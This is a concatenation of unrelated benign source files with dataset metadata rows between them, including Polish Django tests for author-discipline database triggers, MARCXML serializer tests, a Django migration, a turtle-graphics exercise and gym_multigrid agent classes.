dyscyplina_naukowa=None,
subdyscyplina_naukowa=None,
)
ad.clean()
def test_autor_dyscyplina_save_ta_sama_trigger(
autor_jan_kowalski, dyscyplina1, dyscyplina2, rok
):
"""Sprawdź funkcjonowanie triggera bazodanowego przy wrzuceniu tej samej
dyscypliny do Autor_Dyscyplina (czyli nie 'save' tylko testujemy trigger
po stronie bazy danych)."""
with pytest.raises(InternalError):
Autor_Dyscyplina.objects.create(
rok=rok,
autor=autor_jan_kowalski,
dyscyplina_naukowa=dyscyplina1,
subdyscyplina_naukowa=dyscyplina1,
)
def test_autor_dyscyplina_procent_ponad(
autor_jan_kowalski, dyscyplina1, dyscyplina2, rok
):
ad = Autor_Dyscyplina.objects.create(
rok=rok,
autor=autor_jan_kowalski,
dyscyplina_naukowa=dyscyplina1,
procent_dyscypliny=100,
subdyscyplina_naukowa=dyscyplina2,
procent_subdyscypliny=1,
)
with pytest.raises(ValidationError):
ad.clean()
def test_autor_dyscyplina_dopisanie_regula_nr_1(
autor_jan_kowalski,
dyscyplina1,
dyscyplina2,
wydawnictwo_ciagle,
rok,
jednostka,
typy_odpowiedzialnosci,
):
wydawnictwo_ciagle.rok = rok
wydawnictwo_ciagle.save()
wca = wydawnictwo_ciagle.dodaj_autora(
autor_jan_kowalski, jednostka, dyscyplina_naukowa=None
)
Autor_Dyscyplina.objects.create(
autor=autor_jan_kowalski,
rok=rok,
dyscyplina_naukowa=dyscyplina1,
subdyscyplina_naukowa=dyscyplina2,
)
assert wca.dyscyplina_naukowa is None
wca.refresh_from_db()
assert wca.dyscyplina_naukowa is None
def test_autor_dyscyplina_zmiana_dyscypliny_regula_2(
autor_jan_kowalski,
jednostka,
dyscyplina1,
dyscyplina2,
dyscyplina3,
rok,
wydawnictwo_ciagle,
wydawnictwo_zwarte,
typy_odpowiedzialnosci,
):
"""Sprawdź, czy zmiana przypisania Autor_Dyscyplina na dany rok pociągnie zmianę w wydawnictwach
ciągłych, zwartych i patentach. Skasowanie przypisania z kolei ustawi przypisanie na NULL."""
Autor_Dyscyplina.objects.create(
rok=rok + 50,
autor=autor_jan_kowalski,
dyscyplina_naukowa=dyscyplina1,
)
ad = Autor_Dyscyplina.objects.create(
rok=rok,
autor=autor_jan_kowalski,
dyscyplina_naukowa=dyscyplina1,
subdyscyplina_naukowa=dyscyplina2,
)
wydawnictwo_zwarte.rok = rok + 50
wydawnictwo_zwarte.save()
wza = wydawnictwo_zwarte.dodaj_autora(
autor=autor_jan_kowalski,
jednostka=jednostka,
zapisany_jako="Tu sie nie zmieni bo bedzie inny rok",
dyscyplina_naukowa=dyscyplina1,
)
wca = wydawnictwo_ciagle.dodaj_autora(
autor=autor_jan_kowalski,
jednostka=jednostka,
zapisany_jako="J. Kowalski",
dyscyplina_naukowa=dyscyplina1,
)
ad.dyscyplina_naukowa = dyscyplina3
ad.save()
wca.refresh_from_db()
assert wca.dyscyplina_naukowa == dyscyplina3
wza.refresh_from_db()
assert wza.dyscyplina_naukowa == dyscyplina1
ad.delete()
wca.refresh_from_db()
assert wca.dyscyplina_naukowa is None
wza.refresh_from_db()
assert wza.dyscyplina_naukowa == dyscyplina1
def test_autor_dyscyplina_zmiana_subdyscypliny_na_pusta_regula_3(
autor_jan_kowalski,
jednostka,
dyscyplina1,
dyscyplina2,
rok,
wydawnictwo_ciagle,
typy_odpowiedzialnosci,
):
"""Sprawdź, czy zmiana przypisania Autor_Dyscyplina na dany rok pociągnie zmianę w wydawnictwach
ciągłych. Zmieniamy subdyscypline na pusta. Wydawnictwa powiazane maja miec ustawione
NULL"""
ad = Autor_Dyscyplina.objects.create(
rok=rok,
autor=autor_jan_kowalski,
dyscyplina_naukowa=dyscyplina1,
subdyscyplina_naukowa=dyscyplina2,
)
wca = wydawnictwo_ciagle.dodaj_autora(
autor=autor_jan_kowalski,
jednostka=jednostka,
zapisany_jako="J. Kowalski",
dyscyplina_naukowa=dyscyplina2,
)
ad.subdyscyplina_naukowa = None
ad.save()
wca.refresh_from_db()
assert wca.dyscyplina_naukowa is None
def test_autor_dyscyplina_change_trigger_subdys_from_none_bug(
autor_jan_kowalski, dyscyplina1, dyscyplina2, rok
):
"""Sprawdź, czy zmiana przypisania Autor_Dyscyplina na dany rok pociągnie zmianę w wydawnictwach
ciągłych, zwartych i patentach. Skasowanie przypisania z kolei ustawi przypisanie na NULL."""
ad = Autor_Dyscyplina.objects.create(
rok=rok + 5,
autor=autor_jan_kowalski,
dyscyplina_naukowa=dyscyplina1,
subdyscyplina_naukowa=None,
)
ad.subdyscyplina_naukowa = dyscyplina2
ad.save() # Tu był bug przy zmianie z None na coś.
def test_autor_dyscyplina_zmiana_dyscypliny_regula_4(
autor_jan_kowalski,
jednostka,
dyscyplina1,
dyscyplina2,
rok,
wydawnictwo_ciagle,
wydawnictwo_zwarte,
typy_odpowiedzialnosci,
):
"""Sprawdź, czy zmiana przypisania Autor_Dyscyplina na dany rok pociągnie zmianę w wydawnictwach
ciągłych, zwartych.
Skasowanie przypisania na dany rok ustawi dyscypliny na NULL."""
ad = Autor_Dyscyplina.objects.create(
rok=rok,
autor=autor_jan_kowalski,
dyscyplina_naukowa=dyscyplina1,
subdyscyplina_naukowa=dyscyplina2,
)
wza = wydawnictwo_zwarte.dodaj_autora(
autor=autor_jan_kowalski, jednostka=jednostka, dyscyplina_naukowa=dyscyplina1
)
wca = wydawnictwo_ciagle.dodaj_autora(
autor=autor_jan_kowalski, jednostka=jednostka, dyscyplina_naukowa=dyscyplina2
)
ad.delete()
wca.refresh_from_db()
assert wca.dyscyplina_naukowa is None
wza.refresh_from_db()
assert wza.dyscyplina_naukowa is None
def test_autor_dyscyplina_change_trigger_double(
autor_jan_kowalski,
jednostka,
dyscyplina1,
dyscyplina2,
rok,
wydawnictwo_ciagle,
wydawnictwo_zwarte,
patent,
typy_odpowiedzialnosci,
):
"""Sprawdź, czy zmiana przypisania Autor_Dyscyplina na dany rok pociągnie zmianę w wydawnictwach
ciągłych, zwartych i patentach. Skasowanie przypisania z kolei ustawi przypisanie na NULL."""
ad = Autor_Dyscyplina.objects.create(
rok=rok,
autor=autor_jan_kowalski,
dyscyplina_naukowa=dyscyplina1,
subdyscyplina_naukowa=dyscyplina2,
)
wca = wydawnictwo_ciagle.dodaj_autora(
autor=autor_jan_kowalski,
jednostka=jednostka,
zapisany_jako="J. Kowalski",
dyscyplina_naukowa=dyscyplina1,
)
wza = wydawnictwo_zwarte.dodaj_autora(
autor=autor_jan_kowalski,
jednostka=jednostka,
zapisany_jako="Kowalski Jan",
dyscyplina_naukowa=dyscyplina2,
)
ad.dyscyplina_naukowa = dyscyplina2
ad.subdyscyplina_naukowa = dyscyplina1
ad.save()
wca.refresh_from_db()
assert wca.dyscyplina_naukowa == dyscyplina2
wza.refresh_from_db()
assert wza.dyscyplina_naukowa == dyscyplina1
def test_autor_dyscyplina_zmiana_roku(autor_jan_kowalski, dyscyplina1, rok):
"""Sprawdź funkcjonowanie triggera bazodanowego przy wrzuceniu tej samej
dyscypliny do Autor_Dyscyplina (czyli nie 'save' tylko testujemy trigger
po stronie bazy danych)."""
ad = Autor_Dyscyplina.objects.create(
rok=rok,
autor=autor_jan_kowalski,
dyscyplina_naukowa=dyscyplina1,
)
ad.rok = rok + 50
with pytest.raises(InternalError):
ad.save()
def test_autor_dyscyplina_zmiana_autora(
autor_jan_kowalski, autor_jan_nowak, dyscyplina1, rok
):
ad = Autor_Dyscyplina.objects.create(
rok=rok,
autor=autor_jan_kowalski,
dyscyplina_naukowa=dyscyplina1,
)
ad.autor = autor_jan_nowak
with pytest.raises(InternalError):
ad.save()
def test_autor_dyscyplina_zmiana_z_none_na_cos(
autor_jan_kowalski, autor_jan_nowak, dyscyplina1, dyscyplina2, rok
):
ad = Autor_Dyscyplina.objects.create(
rok=rok, autor=autor_jan_kowalski, dyscyplina_naukowa=dyscyplina1
)
ad.subdyscyplina_naukowa = dyscyplina2
ad.save()
def test_autor_dyscyplina_cacher_zmiana(
autor_jan_kowalski,
jednostka,
wydawnictwo_ciagle,
rok,
dyscyplina1,
dyscyplina2,
denorms,
):
ad = Autor_Dyscyplina.objects.create(
rok=rok, autor=autor_jan_kowalski, dyscyplina_naukowa=dyscyplina1
)
wca = wydawnictwo_ciagle.dodaj_autora(
autor_jan_kowalski, jednostka, dyscyplina_naukowa=dyscyplina1
)
ad.dyscyplina_naukowa = dyscyplina2
denorms.flush()
ad.save()
wca.refresh_from_db()
assert wca.dyscyplina_naukowa == dyscyplina2
assert DirtyInstance.objects.count() == 3
def test_autor_dyscyplina_cacher_skasowanie(
autor_jan_kowalski,
jednostka,
wydawnictwo_ciagle,
rok,
dyscyplina1,
dyscyplina2,
denorms,
):
ad = Autor_Dyscyplina.objects.create(
rok=rok, autor=autor_jan_kowalski, dyscyplina_naukowa=dyscyplina1
)
wca = wydawnictwo_ciagle.dodaj_autora(
autor_jan_kowalski, jednostka, dyscyplina_naukowa=dyscyplina1
)
denorms.flush()
ad.delete()
wca.refresh_from_db()
assert wca.dyscyplina_naukowa is None
assert DirtyInstance.objects.count() == 3
| 26.608479 | 100 | 0.716963 | 1,170 | 10,670 | 6.250427 | 0.117094 | 0.050321 | 0.094079 | 0.068918 | 0.857104 | 0.838507 | 0.783399 | 0.743744 | 0.71913 | 0.685902 | 0 | 0.011347 | 0.21537 | 10,670 | 400 | 101 | 26.675 | 0.86216 | 0.143018 | 0 | 0.746622 | 0 | 0 | 0.009839 | 0 | 0 | 0 | 0 | 0 | 0.054054 | 1 | 0.054054 | false | 0 | 0.016892 | 0 | 0.070946 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 7 |
2369b9a3ea238a21b58944ea64c8067e49f303fb | 212 | py | Python | code/chapter-1/exercise1_15.py | Kevin-Oudai/python-solutions | d67f6b14723b000fec0011c3e8156b805eb288f7 | [
"MIT"
] | null | null | null | code/chapter-1/exercise1_15.py | Kevin-Oudai/python-solutions | d67f6b14723b000fec0011c3e8156b805eb288f7 | [
"MIT"
] | null | null | null | code/chapter-1/exercise1_15.py | Kevin-Oudai/python-solutions | d67f6b14723b000fec0011c3e8156b805eb288f7 | [
"MIT"
] | null | null | null | import turtle
turtle.right(60)
turtle.forward(50)
turtle.right(120)
turtle.forward(50)
turtle.right(120)
turtle.forward(100)
turtle.left(120)
turtle.forward(50)
turtle.left(120)
turtle.forward(50)
turtle.done()
| 15.142857 | 19 | 0.778302 | 34 | 212 | 4.852941 | 0.294118 | 0.393939 | 0.363636 | 0.509091 | 0.806061 | 0.806061 | 0.806061 | 0.430303 | 0 | 0 | 0 | 0.126263 | 0.066038 | 212 | 13 | 20 | 16.307692 | 0.707071 | 0 | 0 | 0.666667 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 0.083333 | 0 | 0.083333 | 0 | 0 | 0 | 0 | null | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 7 |
237582b27547eaed63dcc7ec35d6e59527ce4057 | 108 | py | Python | neuralcorefres/__init__.py | RyanElliott10/NeuralCorefRes | a0ca5c614cc1638ab7bd230fcfefbd26120ed800 | [
"MIT"
] | 2 | 2020-02-23T01:00:22.000Z | 2020-06-17T21:39:57.000Z | neuralcorefres/__init__.py | RyanElliott10/NeuralCorefRes | a0ca5c614cc1638ab7bd230fcfefbd26120ed800 | [
"MIT"
] | 9 | 2020-02-27T01:08:55.000Z | 2022-03-12T00:16:12.000Z | neuralcorefres/__init__.py | RyanElliott10/NeuralCorefRes | a0ca5c614cc1638ab7bd230fcfefbd26120ed800 | [
"MIT"
] | null | null | null | import os
import sys
sys.path.append(os.path.abspath(f"{os.path.dirname(os.path.abspath(__file__))}/../"))
| 21.6 | 85 | 0.722222 | 18 | 108 | 4.111111 | 0.5 | 0.243243 | 0.351351 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.055556 | 108 | 4 | 86 | 27 | 0.72549 | 0 | 0 | 0 | 0 | 0 | 0.444444 | 0.444444 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 0.666667 | 0 | 0.666667 | 0 | 1 | 0 | 0 | null | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 8 |
cc798a29ef6f6c03d37fbdc743c7e805c6018f65 | 502 | py | Python | CH_10_testing_and_logging/T_05_doctest_ellipsis_flag.py | mastering-python/code_2 | 441af8b67402c8216c482cca7c002e1d7f0f1baa | [
"MIT"
] | null | null | null | CH_10_testing_and_logging/T_05_doctest_ellipsis_flag.py | mastering-python/code_2 | 441af8b67402c8216c482cca7c002e1d7f0f1baa | [
"MIT"
] | null | null | null | CH_10_testing_and_logging/T_05_doctest_ellipsis_flag.py | mastering-python/code_2 | 441af8b67402c8216c482cca7c002e1d7f0f1baa | [
"MIT"
] | null | null | null | '''
>>> {10: 'a', 20: 'b'} # doctest: +ELLIPSIS
{...}
>>> [True, 1, 'a'] # doctest: +ELLIPSIS
[...]
>>> True, # doctest: +ELLIPSIS
(...)
>>> [1, 2, 3, 4] # doctest: +ELLIPSIS
[1, ..., 4]
>>> [1, 0, 0, 0, 0, 0, 4] # doctest: +ELLIPSIS
[1, ..., 4]
------------------------------------------------------------------------------
>>> class Spam(object):
... pass
>>> Spam() # doctest: +ELLIPSIS
<...Spam object at 0x...>
'''
if __name__ == '__main__':
import doctest
doctest.testmod()
| 20.08 | 78 | 0.404382 | 51 | 502 | 3.823529 | 0.45098 | 0.461538 | 0.246154 | 0.174359 | 0.184615 | 0 | 0 | 0 | 0 | 0 | 0 | 0.051471 | 0.187251 | 502 | 24 | 79 | 20.916667 | 0.426471 | 0.842629 | 0 | 0 | 0 | 0 | 0.114286 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 0.333333 | 0 | 0.333333 | 0 | 0 | 0 | 0 | null | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | 7 |
cca969a0594bc2eff31a70ad14a6f939d1f5b06e | 5,024 | py | Python | tests/test_serializer.py | Bystroushaak/marcxml_parser | b23511166459babecd9ced0090680d9427ca5b85 | [
"MIT"
] | null | null | null | tests/test_serializer.py | Bystroushaak/marcxml_parser | b23511166459babecd9ced0090680d9427ca5b85 | [
"MIT"
] | null | null | null | tests/test_serializer.py | Bystroushaak/marcxml_parser | b23511166459babecd9ced0090680d9427ca5b85 | [
"MIT"
] | null | null | null | #! /usr/bin/env python
# -*- coding: utf-8 -*-
#
# Interpreter version: python 2.7
#
# Imports =====================================================================
import os
import os.path
import glob
from collections import OrderedDict
import pytest
from marcxml_parser.serializer import MARCXMLSerializer
# Variables ===================================================================
DATA_DIR = os.path.join(os.path.dirname(__file__), "data")
# Fixtures ====================================================================
@pytest.fixture
def aleph_files():
files = glob.glob(DATA_DIR + "/aleph_*.xml")
return map(lambda x: os.path.abspath(x), files)
# Tests =======================================================================
def test_input_output(aleph_files):
for fn in aleph_files:
with open(fn) as f:
data = f.read()
parsed = MARCXMLSerializer(data, resort=False)
assert parsed.__str__().strip() == data.strip()
def test_order_original():
xml = """<record xmlns="http://www.loc.gov/MARC21/slim/"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://www.loc.gov/MARC21/slim
http://www.loc.gov/standards/marcxml/schema/MARC21slim.xsd">
<datafield tag="650" ind1="0" ind2="7">
<subfield code="a">programování</subfield>
<subfield code="7">ph115891</subfield>
<subfield code="2">czenas</subfield>
</datafield>
</record>
"""
parsed = MARCXMLSerializer(xml, resort=False)
assert xml == parsed.__str__()
def test_order_resort():
xml = """<record xmlns="http://www.loc.gov/MARC21/slim/"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://www.loc.gov/MARC21/slim
http://www.loc.gov/standards/marcxml/schema/MARC21slim.xsd">
<datafield tag="650" ind1="0" ind2="7">
<subfield code="a">programování</subfield>
<subfield code="7">ph115891</subfield>
<subfield code="2">czenas</subfield>
</datafield>
</record>
"""
parsed = MARCXMLSerializer(xml, resort=True)
assert parsed.__str__() == """<record xmlns="http://www.loc.gov/MARC21/slim/"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://www.loc.gov/MARC21/slim
http://www.loc.gov/standards/marcxml/schema/MARC21slim.xsd">
<datafield tag="650" ind1="0" ind2="7">
<subfield code="a">programování</subfield>
<subfield code="2">czenas</subfield>
<subfield code="7">ph115891</subfield>
</datafield>
</record>
"""
def test_creation_and_resort():
rec = MARCXMLSerializer()
rec.add_data_field("222", "1", "2", {"a": "bbb"})
rec.add_data_field("111", " ", " ", {"a": "aaa"})
assert rec.__str__() == """<record xmlns="http://www.loc.gov/MARC21/slim/"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://www.loc.gov/MARC21/slim
http://www.loc.gov/standards/marcxml/schema/MARC21slim.xsd">
<datafield tag="111" ind1=" " ind2=" ">
<subfield code="a">aaa</subfield>
</datafield>
<datafield tag="222" ind1="1" ind2="2">
<subfield code="a">bbb</subfield>
</datafield>
</record>
"""
def test_creation_and_resort_disabled():
rec = MARCXMLSerializer(resort=False)
rec.add_data_field("222", "1", "2", {"a": "bbb"})
rec.add_data_field("111", " ", " ", {"a": "aaa"})
assert rec.__str__() == """<record xmlns="http://www.loc.gov/MARC21/slim/"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://www.loc.gov/MARC21/slim
http://www.loc.gov/standards/marcxml/schema/MARC21slim.xsd">
<datafield tag="222" ind1="1" ind2="2">
<subfield code="a">bbb</subfield>
</datafield>
<datafield tag="111" ind1=" " ind2=" ">
<subfield code="a">aaa</subfield>
</datafield>
</record>
"""
def test_creation_and_subfields_resort():
rec = MARCXMLSerializer()
rec.add_data_field(
"111",
" ",
" ",
OrderedDict([
["a", "1"],
["u", "1"],
["c", "1"]
])
)
assert rec.__str__() == """<record xmlns="http://www.loc.gov/MARC21/slim/"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://www.loc.gov/MARC21/slim
http://www.loc.gov/standards/marcxml/schema/MARC21slim.xsd">
<datafield tag="111" ind1=" " ind2=" ">
<subfield code="a">1</subfield>
<subfield code="c">1</subfield>
<subfield code="u">1</subfield>
</datafield>
</record>
"""
def test_creation_and_subfields_resort_disabled():
rec = MARCXMLSerializer(resort=False)
rec.add_data_field(
"111",
" ",
" ",
OrderedDict([
["a", "1"],
["u", "1"],
["c", "1"]
])
)
assert rec.__str__() == """<record xmlns="http://www.loc.gov/MARC21/slim/"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://www.loc.gov/MARC21/slim
http://www.loc.gov/standards/marcxml/schema/MARC21slim.xsd">
<datafield tag="111" ind1=" " ind2=" ">
<subfield code="a">1</subfield>
<subfield code="u">1</subfield>
<subfield code="c">1</subfield>
</datafield>
</record>
"""
| 26.442105 | 81 | 0.618232 | 631 | 5,024 | 4.806656 | 0.169572 | 0.064622 | 0.069238 | 0.09001 | 0.816353 | 0.816353 | 0.804484 | 0.772832 | 0.749423 | 0.720079 | 0 | 0.044276 | 0.132365 | 5,024 | 189 | 82 | 26.582011 | 0.651526 | 0.07703 | 0 | 0.781955 | 0 | 0 | 0.608902 | 0.102852 | 0 | 0 | 0 | 0 | 0.052632 | 1 | 0.06015 | false | 0 | 0.045113 | 0 | 0.112782 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 8 |
aebb892d3385a2cabb095858b71209f06198ff59 | 446 | py | Python | RecoBTag/PerformanceDB/python/PoolBTagPerformanceDB2013.py | ckamtsikis/cmssw | ea19fe642bb7537cbf58451dcf73aa5fd1b66250 | [
"Apache-2.0"
] | 852 | 2015-01-11T21:03:51.000Z | 2022-03-25T21:14:00.000Z | RecoBTag/PerformanceDB/python/PoolBTagPerformanceDB2013.py | ckamtsikis/cmssw | ea19fe642bb7537cbf58451dcf73aa5fd1b66250 | [
"Apache-2.0"
] | 30,371 | 2015-01-02T00:14:40.000Z | 2022-03-31T23:26:05.000Z | RecoBTag/PerformanceDB/python/PoolBTagPerformanceDB2013.py | ckamtsikis/cmssw | ea19fe642bb7537cbf58451dcf73aa5fd1b66250 | [
"Apache-2.0"
] | 3,240 | 2015-01-02T05:53:18.000Z | 2022-03-31T17:24:21.000Z | from RecoBTag.PerformanceDB.measure.Pool_btagMuJetsWp import *
from RecoBTag.PerformanceDB.measure.Pool_btagMistagAB import *
from RecoBTag.PerformanceDB.measure.Pool_btagMistagABCD import *
from RecoBTag.PerformanceDB.measure.Pool_btagMistagC import *
from RecoBTag.PerformanceDB.measure.Pool_btagMistagD import *
from RecoBTag.PerformanceDB.measure.Pool_btagTtbarDiscrim import *
from RecoBTag.PerformanceDB.measure.Pool_btagTtbarWp import *
| 44.6 | 66 | 0.869955 | 49 | 446 | 7.77551 | 0.265306 | 0.220472 | 0.459318 | 0.587927 | 0.755906 | 0.661417 | 0 | 0 | 0 | 0 | 0 | 0 | 0.067265 | 446 | 9 | 67 | 49.555556 | 0.915865 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | null | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 7 |
aedede707a69d4fc7a7851e2ac6255a6acc3b812 | 3,911 | py | Python | project/editorial/migrations/0010_auto_20160319_2231.py | cojennin/facet | 230e65316134b3399a35d40034728e61ba63cb2a | [
"MIT"
] | 25 | 2015-07-13T22:16:36.000Z | 2021-11-11T02:45:32.000Z | project/editorial/migrations/0010_auto_20160319_2231.py | cojennin/facet | 230e65316134b3399a35d40034728e61ba63cb2a | [
"MIT"
] | 74 | 2015-12-01T18:57:47.000Z | 2022-03-11T23:25:47.000Z | project/editorial/migrations/0010_auto_20160319_2231.py | cojennin/facet | 230e65316134b3399a35d40034728e61ba63cb2a | [
"MIT"
] | 6 | 2016-01-08T21:12:43.000Z | 2019-05-20T16:07:56.000Z | # -*- coding: utf-8 -*-
from __future__ import unicode_literals
from django.db import migrations, models
class Migration(migrations.Migration):
dependencies = [
('editorial', '0009_auto_20160319_2213'),
]
operations = [
migrations.AlterField(
model_name='audiofacet',
name='github_link',
field=models.URLField(help_text=b'Link to code for any custom feature', max_length=300, blank=True),
),
migrations.AlterField(
model_name='historicalaudiofacet',
name='github_link',
field=models.URLField(help_text=b'Link to code for any custom feature', max_length=300, blank=True),
),
migrations.AlterField(
model_name='historicalprintfacet',
name='github_link',
field=models.TextField(help_text=b'Link to code for any custom feature', max_length=300, blank=True),
),
migrations.AlterField(
model_name='historicalvideofacet',
name='github_link',
field=models.URLField(help_text=b'Link to code for any custom feature', max_length=300, blank=True),
),
migrations.AlterField(
model_name='historicalwebfacet',
name='github_link',
field=models.URLField(help_text=b'Link to code for any custom feature', max_length=300, blank=True),
),
migrations.AlterField(
model_name='organization',
name='facebook',
field=models.URLField(max_length=250, blank=True),
),
migrations.AlterField(
model_name='organization',
name='twitter',
field=models.URLField(max_length=250, blank=True),
),
migrations.AlterField(
model_name='organization',
name='website',
field=models.URLField(max_length=250, blank=True),
),
migrations.AlterField(
model_name='printfacet',
name='github_link',
field=models.TextField(help_text=b'Link to code for any custom feature', max_length=300, blank=True),
),
migrations.AlterField(
model_name='user',
name='facebook',
field=models.URLField(max_length=250, blank=True),
),
migrations.AlterField(
model_name='user',
name='github',
field=models.URLField(max_length=300, blank=True),
),
migrations.AlterField(
model_name='user',
name='instagram',
field=models.URLField(max_length=250, blank=True),
),
migrations.AlterField(
model_name='user',
name='linkedin',
field=models.URLField(max_length=250, blank=True),
),
migrations.AlterField(
model_name='user',
name='snapchat',
field=models.URLField(max_length=250, blank=True),
),
migrations.AlterField(
model_name='user',
name='twitter',
field=models.URLField(max_length=250, blank=True),
),
migrations.AlterField(
model_name='user',
name='vine',
field=models.URLField(max_length=250, blank=True),
),
migrations.AlterField(
model_name='user',
name='website',
field=models.URLField(max_length=250, blank=True),
),
migrations.AlterField(
model_name='videofacet',
name='github_link',
field=models.URLField(help_text=b'Link to code for any custom feature', max_length=300, blank=True),
),
migrations.AlterField(
model_name='webfacet',
name='github_link',
field=models.URLField(help_text=b'Link to code for any custom feature', max_length=300, blank=True),
),
]
| 35.554545 | 113 | 0.57709 | 398 | 3,911 | 5.515075 | 0.153266 | 0.173121 | 0.216401 | 0.251025 | 0.845558 | 0.836902 | 0.836902 | 0.836902 | 0.831435 | 0.831435 | 0 | 0.027428 | 0.310151 | 3,911 | 109 | 114 | 35.880734 | 0.786138 | 0.005369 | 0 | 0.786408 | 0 | 0 | 0.170525 | 0.005916 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.019417 | 0 | 0.048544 | 0.019417 | 0 | 0 | 0 | null | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 9 |
aef554128a418fa4b7e2f8753253238a47210a87 | 1,747 | py | Python | gym_multigrid/watcher.py | jacob-heglund/ece598-xmase | 7345b713fbb6d4f84c795cd52778312058cd80f8 | [
"Apache-2.0"
] | null | null | null | gym_multigrid/watcher.py | jacob-heglund/ece598-xmase | 7345b713fbb6d4f84c795cd52778312058cd80f8 | [
"Apache-2.0"
] | null | null | null | gym_multigrid/watcher.py | jacob-heglund/ece598-xmase | 7345b713fbb6d4f84c795cd52778312058cd80f8 | [
"Apache-2.0"
] | null | null | null | from gym_multigrid.multigrid import *
class Watcher(Agent):
def __init__(self, world, index=0, view_size=7):
super(Agent, self).__init__(world, 'agent', world.IDX_TO_COLOR[index])
self.pos = None
self.dir = None
self.index = index
self.view_size = view_size
# self.carrying = None
self.terminated = False
self.started = True
self.paused = False
self.watcher = True
self.comm = []
class Collector(Agent):
def __init__(self, world, index=0, view_size=3):
super(Agent, self).__init__(world, 'agent', world.IDX_TO_COLOR[index])
self.pos = None
self.dir = None
self.index = index
self.view_size = view_size
self.carrying = None
self.terminated = False
self.started = True
self.paused = False
self.watcher = False
self.comm = []
class Dummy(Agent):
def __init__(self, world, index=0, view_size=3):
super(Agent, self).__init__(world, 'agent', world.IDX_TO_COLOR[index])
self.pos = None
self.dir = None
self.index = index
self.view_size = view_size
self.carrying = None
self.terminated = False
self.started = True
self.paused = False
self.watcher = False
self.comm = []
class Rat(Agent):
def __init__(self, world, index=0, view_size=1):
super(Agent, self).__init__(world, 'agent', world.IDX_TO_COLOR[index])
self.pos = None
self.dir = None
self.index = index
self.view_size = view_size
self.carrying = None
self.terminated = False
self.started = True
self.paused = False
self.watcher = False | 31.196429 | 78 | 0.592444 | 219 | 1,747 | 4.484018 | 0.159817 | 0.09776 | 0.04888 | 0.065173 | 0.919552 | 0.919552 | 0.919552 | 0.919552 | 0.919552 | 0.848269 | 0 | 0.006568 | 0.302805 | 1,747 | 56 | 79 | 31.196429 | 0.799672 | 0.011448 | 0 | 0.843137 | 0 | 0 | 0.011587 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.078431 | false | 0 | 0.019608 | 0 | 0.176471 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 7 |
4e17213bbebe355eef324c080f67809a9bc5cfcd | 58 | py | Python | src/utility.py | MarcoMontaltoMonella/Sandpiles | 01209b95fe3918e699d4123b3ea92740dd6d467c | [
"MIT"
] | null | null | null | src/utility.py | MarcoMontaltoMonella/Sandpiles | 01209b95fe3918e699d4123b3ea92740dd6d467c | [
"MIT"
] | null | null | null | src/utility.py | MarcoMontaltoMonella/Sandpiles | 01209b95fe3918e699d4123b3ea92740dd6d467c | [
"MIT"
] | null | null | null | def print_space():
